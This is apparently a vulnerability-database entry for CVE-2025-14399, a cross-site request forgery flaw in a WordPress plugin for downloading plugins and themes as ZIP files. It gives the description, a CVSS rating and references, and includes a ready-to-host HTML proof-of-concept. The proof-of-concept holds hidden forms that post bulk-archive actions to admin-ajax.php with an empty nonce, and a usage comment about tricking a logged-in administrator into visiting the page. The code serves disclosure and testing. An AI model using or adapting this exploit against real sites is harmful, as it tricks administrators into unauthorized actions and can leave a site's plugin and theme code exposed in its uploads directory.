CVE-2025-14399

Description

The Download Plugins and Themes in ZIP from Dashboard plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.9.6. This is due to missing or incorrect nonce validation on the download_plugin_bulk and download_theme_bulk functions. This makes it possible for unauthenticated attackers to archive all the sites plugins and themes and place them in the `wp-content/uploads/` directory via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Download Plugins and Themes in ZIP from Dashboard plugin for WordPress <= 1.9.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

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<!-- CSRF PoC for CVE-2025-14399 -->
<!-- This PoC demonstrates the CSRF vulnerability in Download Plugins and Themes plugin -->
<!-- Usage: Host this page and trick a logged-in admin to visit it -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-14399 PoC</title>
</head>
<body>
    <h1>CSRF Attack - Plugin/Theme Download</h1>
    <p>Clicking the button below will trigger bulk download of all plugins/themes.</p>
    
    <!-- Auto-submit form for bulk plugin download -->
    <form id="csrfForm" action="http://target-site/wp-admin/admin-ajax.php" method="POST">
        <input type="hidden" name="action" value="download_plugin_bulk">
        <input type="hidden" name="plugins" value="all">
        <input type="hidden" name="nonce" value=""> <!-- Leave nonce empty to test if validation is missing -->
    </form>
    
    <!-- Auto-submit form for bulk theme download -->
    <form id="csrfFormTheme" action="http://target-site/wp-admin/admin-ajax.php" method="POST" style="display:none;">
        <input type="hidden" name="action" value="download_theme_bulk">
        <input type="hidden" name="themes" value="all">
        <input type="hidden" name="nonce" value="">
    </form>
    
    <button onclick="document.getElementById('csrfForm').submit();">Download All Plugins (CSRF)</button>
    <button onclick="document.getElementById('csrfFormTheme').submit();">Download All Themes (CSRF)</button>
    
    <script>
        // Auto-submit after page loads
        // window.onload = function() { document.getElementById('csrfForm').submit(); };
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14399
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14399
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14399/
[4] VulDB https://vuldb.com/cve/CVE-2025-14399
[5] https://plugins.trac.wordpress.org/changeset/3417484/download-plugins-dashboard
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/845b6bcf-004b-4b92-88d7-3d331fa58c11?source=cve

Raw JSON Data

JSON

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